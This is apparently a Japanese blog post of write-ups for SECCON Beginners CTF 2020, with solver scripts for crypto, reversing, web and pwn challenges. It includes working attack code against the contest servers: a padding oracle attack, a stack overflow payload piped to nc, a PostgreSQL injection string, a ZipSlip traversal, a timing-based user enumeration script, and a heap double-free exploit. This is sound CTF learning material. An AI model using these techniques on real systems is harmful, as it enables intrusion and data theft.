くれなゐの雑記

例を上げて 自分で手を動かして学習できる入門記事を多めに書いています

SECCON BEGINNERS CTF 2020 write up

概要

15問解いて 25位 2738 points 1000人以上いる中で、CTF歴1年で個人成績としてはなかなかいい成績が残せたのではないかと思ってる。 youtubeで口頭でほとんどデモを交えつつ説明したので、ここではソースコードメインで。 詳細な説明はyoutube参照

rsacalc

該当する再生時間の動画のリンク

youtu.be

問題概要

  1. 署名をして
    1. 署名する中身: 1337, F
  2. 署名を検証する

問題概要: "1337,F" の署名を求めましょう

方針

RSA暗号の準同型

m = m1*m2にして、分解して、直接1337とかFとか文字列を使わずに、表現する。 具体的には

data1 = b"\x18\x99\x99\x9b\x96#"
data2 = b"\x02"
data = b"1337,F"

こんな感じでやれば分解できる。 これを、サーバーに送信したら、signatureが2つ帰ってくるので、 それらを掛け算したらOK

R&B

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=628

これはRot13とbase64やるだけ。

import base64

def _rot13(c):
    if 'A' <= c and c <= 'Z':
        return chr((ord(c) - ord('A') + 13) % 26 + ord('A'))

    if 'a' <= c and c <= 'z':
        return chr((ord(c) - ord('a') + 13) % 26 + ord('a'))
    return c


def rot13(s):
    g = (_rot13(c) for c in s)
    return ''.join(g)

S = "BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ=="

while True:
    if S[0] == "R":
        S = rot13(S[1:])
    elif S[0] == "B":
        S = base64.b64decode(S[1:]).decode('utf-8')
    else:
        print(S)
        break

Noisy equations

該当する再生時間の動画のリンク

youtu.be

問題概要

Am + r = b

という式が与えられる。

A: 行列で既知(それぞれの要素が2256まで) m: ベクトルで未知(たかだか128くらい) r: ベクトルで未知(それぞれの要素が2256まで) b: 既知(それぞれの要素が、1000*2256)とかかな?

方針

rが小さいので、rを無視して、Aの逆行列を計算する。 何回も計算して、最頻値を取って、mを復号する。 (実はrがSEED固定なので毎回固定だった…)

from os import getenv
from time import time
from random import getrandbits, seed

FLAG = b"ctf4b{00000000000000000000000000000000000000000}"
SEED = b"hogehoge"

L = 256
N = len(FLAG)

def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)
#!/usr/bin/python3

from nums import *
from fractions import Fraction

def solve(mat):
    for row in range(len(mat)):
        tar = mat[row][row]
        for col in range(len(mat[row])):
            mat[row][col] /= tar
        for r in range(len(mat)):
            if r == row:
                continue
            boost = mat[r][row]
            for c in range(len(mat[r])):
                mat[r][c] -= mat[row][c] * boost
    return mat

mat = []
for i in range(len(coeffs)):
    row = []
    for j in range(len(coeffs[i])):
        row.append(coeffs[i][j])
    row.append(answers[i] - 2**255) # 低めに出やすいので中央に持ってくる
    mat.append(row)

solve(mat)
# for i in range(len(mat)):
#     for j in range(len(mat[i])):
#         print(mat[i][j], end=" ")
#     print()

for i in range(len(mat)):
    if i == len(mat)-1:
        print(mat[i][-1])
    else:
        print(mat[i][-1], end=",")

encrypter

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=1382

問題概要

何らかの文字が与えられて、それの暗号化と復号をしてくれるという問題。 いかが特徴

  • 暗号化が何文字でもできる
    • そのため、ブロック暗号か、ストリーム暗号の可能性が高い
  • 一定文字増えると、一気に文字数が増える。
    • ブロック暗号の可能性が高い
  • 同じ文字が続いても同じブロックが現れない: ECBではない
  • 最後から2ブロック目をいじると、最後の1ブロックの特定バイトが変更される: ほぼほぼCBC

CBCってわかったらあとはPadding oracle attack

import requests
import base64
import json
import copy

block_len = 16

def encrypt(S):
    data = '{"mode":"encrypt","content":"'+ S +'"}'
    print(data)

    response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php',  data=data)
    
    return base64.b64decode(json.loads(response.text)['result'])

def decrypt(E):
    data = '{"mode":"decrypt","content":"'+ base64.b64encode(E).decode('utf-8') +'"}'

    response = requests.post('http://encrypter.quals.beginners.seccon.jp/encrypt.php',  data=data)
    
    d = json.loads(response.text)
    return 'result' in d

def merge_blocks(blocks):
    res = []
    for block in blocks:
        for b in block:
            res.append(b)

    return bytes(res)

def split_blocks(byts):
    blocks = []
    for i in range(len(byts)//16):
        blocks.append(list(byts[i*16:(i+1)*16]))
    return blocks

def expose_last_block(blocks_org, position):
    res = []
    for i in range(16, 0, -1):
        res.append(i)
    
    print(res)

    blocks = copy.deepcopy(blocks_org)
    print(len(blocks[0]))

    # paddingの数の特定
    padding_len = -1
    for index in range(15,-1,-1):
        for i in range(256):
            print("index, i: ", index, i)
            blocks[position-1][index] = i
            if index == 15 and blocks_org[position-1][-1] == blocks[position-1][-1]:
                 continue
            if decrypt(merge_blocks(blocks)):
                X = i
                break
        for j in range(15,index-1,-1):
            blocks[position-1][j] ^= res[index]
            blocks[position-1][j] ^= (res[index]+1)
        res[index] = res[index] ^ X ^ blocks_org[position-1][index]
        print(res)
    
    return res
    
print(encrypt("aaaaaaaaaaaaaa"))
# flag
E = b'\xe6\x90\xb6\xa9\xf0\xcdb\xf2{\xd2j,\xcd\x9fr\xf8\xab\xe4\xc9%<\xdf\xf9t\x10\xa9x\x00V[\x9f\xfbe\x04\xac\xaa\x85\x11\x10\xbdod`\xa8\xbe\xc1%u\xae\x919\x17\xb4\x8dU\xf4/\xbd\xab\xd7\xa6t*\xbb'
# E = b'\xd9\xc4f\xd6\xfdS\x0e\x8d;\xa0\x89\xdfW\x9c\x88iBq\xbd\x03Sji\x11\x9c\xa4\x10\x0f\x05q[\xc8'
# print(encrypt(E))

blocks = split_blocks(E)
print(blocks)
res = []

for i in range(len(blocks)-1):
    target = copy.deepcopy(blocks)
    res.append(expose_last_block(target[:(i+2)], -1))

print(merge_blocks(res))

# b'ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}\x02\x02'

emoemoencode

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=2344

byteの差分を見ると、4byteの文字しか使ってないのに、すごい差が小さい事に気づいた。 差分を計算して、1文字目を'c'と決め打ちして、あとは差分で計算する

from Crypto.Util.number import *
import copy

f = open("./emoemoencode.txt")

nums = []
hexs = []

for line in f:
    line = line[:-1]

    for c in line:
        nums.append(bytes_to_long(c.encode()))
        hexs.append(c.encode())

print(nums)
print(hexs)
for h in hexs:
    print(h)

diffs = [0]*len(nums)
for i in range(1,len(diffs)):
    diffs[i] = nums[i]-nums[i-1]

print(diffs)

last = ord('c')
res = []
for i in range(len(diffs)):
    last += diffs[i]
    print(last)
    if last >= 0:
        res.append(chr(last))
    else:
        res.append('?')

print(''.join(res))

beginners_stack

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=2777

基本は、リターンアドレスを書き換えるだけの問題 ただし、alignが0x10の倍数じゃないととおらないので、2回popするテニックが必要。 rp++とかで、pop retするgadgetを見つけて、そこに対して飛ばす。 更にスタックにいい感じにデータを積んで、shellに飛ばす。

echoしただけだと、Congraturations!とでて終わって悲しい気持ちになるので、catコマンドで標準入力をうけつけることで、shellを入力する。

(echo -e "1111111111111111111111111111111111111111\x4c\x0b\x40\x00\x00\x00\x00o\x00\x61\x08\x40\x00\x00\x00\x00\x00\n"; cat) | nc bs.quals.beginners.seccon.jp 9001

yakisoba

https://youtu.be/Lpeh8yN7NAg?t=4204

angr使うだけ。

import angr
proj = angr.Project('./yakisoba')
simgr = proj.factory.simgr()
res = simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1))
print(res.found[0].posix.dumps(0))

mask

https://youtu.be/Lpeh8yN7NAg?t=4510

ghidraを使うと、リバエンが捗る

A = list(b"atd4`qdedtUpetepqeUdaaeUeaqau")
B = list(b"c`b bk`kj`KbababcaKbacaKiacki")

# A = i & 0x75
# B = i & 0xeb

for i in range(len(A)):
    print(chr(A[i] | B[i]), end="")
print()
int main(int argc,long arv)
{
  int N;
  size_t sVar2;
  long in_FS_OFFSET;
  int i;
  byte input [64];
  byte local_98 [64];
  byte local_58 [72];
  long local_10;
  
  else {
    strcpy((char *)input,*(char **)(arv + 8));
    N = (int)sVar2;
    puts("Putting on masks...");

    for(int i=0;i<N;++i){}
      local_98[i] = input[i] & 0x75;
      local_58[i] = input[i] & 0xeb;
    }

    local_98[N] = 0;
    local_58[N] = 0;
    puts((char *)local_98);
    puts((char *)local_58);
    N = strcmp((char *)local_98,"atd4`qdedtUpetepqeUdaaeUeaqau");
    if ((N == 0) &&
       (N = strcmp((char *)local_58,"c`b bk`kj`KbababcaKbacaKiacki"), N == 0)) {
      puts("Correct! Submit your FLAG.");
    }
    else {
      puts("Wrong FLAG. Try again.");
    }
  }
}

ghost

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=5106

問題概要

ghostscriptのファイルが与えられる。 ghostscript

頑張って読み解くと、以下のようになる。

%!PS-Adobe-3.0
/flag 64 string def
/output 8 string def
(%stdin) (r) file flag readline
not { (I/O Error\n) print quit } if

 0 1
 2 index % 標準入力をstackのtopにコピー

  length(文字列長さ?)の数分繰り返す
  length 
  {
     1 index
     1 add
     3 index
     3 index
    get
     xor
     mul
     1

     463
     {
          1 index
          mul
          64711 mod 
     } repeat

     exch % スタックの上位2要素を交換
     pop % スタックトップ消去
     dup % スタックトップの複製
     output % バッファ?
     cvs % 多分文字列変換的なやつ
     print % ↑の表示
     ( ) print % スペースの表示

     128 mod
     1 add
     exch
     1 add
     exch 

} repeat (\n) print quit


% --------------------------------------------------
% flag = 64 string
% output = 8 string
% stack.push(0)
% stack.push(1)
% exch : スタックの上位2要素を交換する

ここまで読み解くと、おおよそN文字目まで合っていれば、N+1文字目をブルートフォースすれば行けるのではと思いました。 それを解くスクリプトはこちら。

# 変数をstdinとしてサブプロセスに渡す
import subprocess
from subprocess import PIPE


def f(S):
    input_text = S + "\n"
    print(input_text)
    proc = subprocess.run("gsnd chall.gs", shell=True, input=input_text, stdout=PIPE, stderr=PIPE, text=True)
    r = proc.stdout
    nums = list(map(int, r.split('\n')[-2].split()))
    return nums

ans = [3417,61039,39615,14756,10315,49836,44840,20086,18149,31454,35718,44949,4715,22725,62312,18726,47196,54518,2667,44346,55284,5240,32181,61722,6447,38218,6033,32270,51128,6112,22332,60338,14994,44529,25059,61829,52094]
S = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

for i in range(0, len(ans)):
    for c in range(32,127):
        print(i, c)

        S = list(S)
        S[i] = chr(c)
        S = "".join(S)
        r = f(S)
        if(len(r) != len(ans)):
            continue

        print(r)
        print(ans)
        if r[i] == ans[i]:
            print(S)
            break

readme

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=6037

問題概要

/home/ctf/flag のパスを ctf という文字列を使わずに表現する。

方針

めちゃめちゃ頑張ってググる

/proc/self/cwd で自信プロセスが実行されてるパスがわかるので、 /proc/self/cwd/../flag で終わり

spy

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=6405

問題概要

パスワードが分からない A-Z までの26人のユーザー候補者がいる。 この中で、何人かユーザー登録がされているので、それを当ててくださいという問題。

方針

パスワードハッシュを求めるのに時間がかかるので、それで時間計測を行って解く。

import requests
import re


def login(name):
    data = {
      'name': name,
      'password': 'hello'
    }

    response = requests.post('https://spy.quals.beginners.seccon.jp/', data=data)

    # print(response.text)

    for line in response.text.split('\n'):
        if ' sec ' in line:
            num = re.findall("\d+\.\d+", line)
            return float(num[0])

ES = ["Arthur","Barbara","Christine","David","Elbert","Franklin","George","Harris","Ivan","Jane","Kevin","Lazarus","Marc","Nathan","Oliver","Paul","Quentin","Randolph","Scott","Tony","Ulysses","Vincent","Wat","Ximena","Yvonne","Zalmon",]
d = {}
for name in ES:
    d[name] = login(name)

res = sorted(d.items(), key=lambda x:x[1])

for kv in res:
    print(kv[0], kv[1])

### output ###
# Zalmon 0.0002587
# Scott 0.0002846
# Nathan 0.000287
# David 0.0002886
# Barbara 0.0002965
# Vincent 0.0003085
# Paul 0.000309
# Oliver 0.0003096
# Wat 0.0003245
# Quentin 0.0003251
# Franklin 0.0003289
# Kevin 0.0003555
# Jane 0.0003723
# Harris 0.0003805
# Ulysses 0.0003837
# Arthur 0.0003927
# Christine 0.0004138
# Ivan 0.0004918
# Randolph 0.0006449
# 
# Ximena 0.4110968
# Elbert 0.4719231
# Tony 0.4757388
# George 0.5149259
# Yvonne 0.5762974
# Marc 0.6083214
# Lazarus 0.6226675

tweetstore

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=6741

問題概要

SQLinejectionでDBのユーザー名を求めてください。

方針

'エスケープを golangで以下のようにやっているが、postgresqlでは \' は意味をなさないので、 ' を1文字入れるとバグるし、うまいことやると ' を閉じることができる。

strings.Replace(search[0], "'", "\\'", -1)

なので、返り値にgolangの型に合うようにいい感じに複文実行してやると

\\'; select usename, usename, now() from pg_user --

ユーザーの一覧を取得できる。

unzip

https://youtu.be/Lpeh8yN7NAg?t=7618

問題概要

パストラバーサル/flag.txt を読んでください。 ただし、使えるパスはアップロードしたzipファイルの中に含まれるファイル名のみです。

方針

ZipSlip Attackと呼ばれるらしい。 ../../flag.txt なファイル名の作り方がわからなかった。(ずっとsymbolic linkで頑張ろうとしていた。)

ので、 ../../flag.txt と同じ文字数を持つ aaaaaaaaaaaaaa というファイルをzip圧縮し、後でバイナリエディタでファイル名だけ変更した。

あとはzipファイルをアップロードして、アクセスするとディクトリトラバーサルで

echo file_get_contents($filepath);

flag.txt を読み込んでくれるので、フラグが獲得できる。

beginners_heap

該当する再生時間の動画のリンク

https://youtu.be/Lpeh8yN7NAg?t=8582

問題概要

double free

解き方

書き下すのが辛いので、動画参照

from ptrlib import *
from Crypto.Util.number import *

sock = Socket("bh.quals.beginners.seccon.jp", 9002)
intro1 = sock.recvuntil('> ').decode('utf-8')
intro2 = sock.recvuntil('> ').decode('utf-8')
intro = intro1 + intro2
win_addr = 0
free_hook_addr = 0

for line in intro.split('\n'):
    if '<win>:' in line:
        win_addr = int(line.split(':')[-1].strip()[2:], 16)
    if '<__free_hook>:' in line:
        free_hook_addr = int(line.split(':')[-1].strip()[2:], 16)

print("win_addr      : {}".format(hex(win_addr)))
print("free_hook_addr: {}".format(hex(free_hook_addr)))

A_offset = list(b"000000000000000000000000\x31\x00\x00\x00\x00\x00\x00\x00")
win_addr_bytes = long_to_bytes(win_addr)
free_hook_addr_bytes = long_to_bytes(free_hook_addr)


target_byte = free_hook_addr_bytes

for b in reversed(target_byte):
    A_offset.append(b)

for b in range(8-len(target_byte)):
    A_offset.append(0)

A_offset = bytes(A_offset)

sock.sendline("2")
sock.sendline("hello")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("3")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("1")
sock.sendline(A_offset)
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("6")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("2")
sock.sendline("hello")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("6")
print(sock.recvuntil("> ").decode("utf-8"))

sock.sendline("3")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("4")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("5")
print(sock.recvuntil("> ").decode("utf-8"))
sock.sendline("6")
print(sock.recvuntil("> ").decode("utf-8"))

A = []
target_byte = win_addr_bytes

for b in reversed(target_byte):
    A.append(b)

for b in range(8-len(target_byte)):
    A.append(0)

A = bytes(A)

sock.sendline("2")
sock.sendline(A)
print(sock.recvuntil('> ').decode("utf-8"))
sock.sendline("3")
print(sock.recvline())
print(sock.recvline())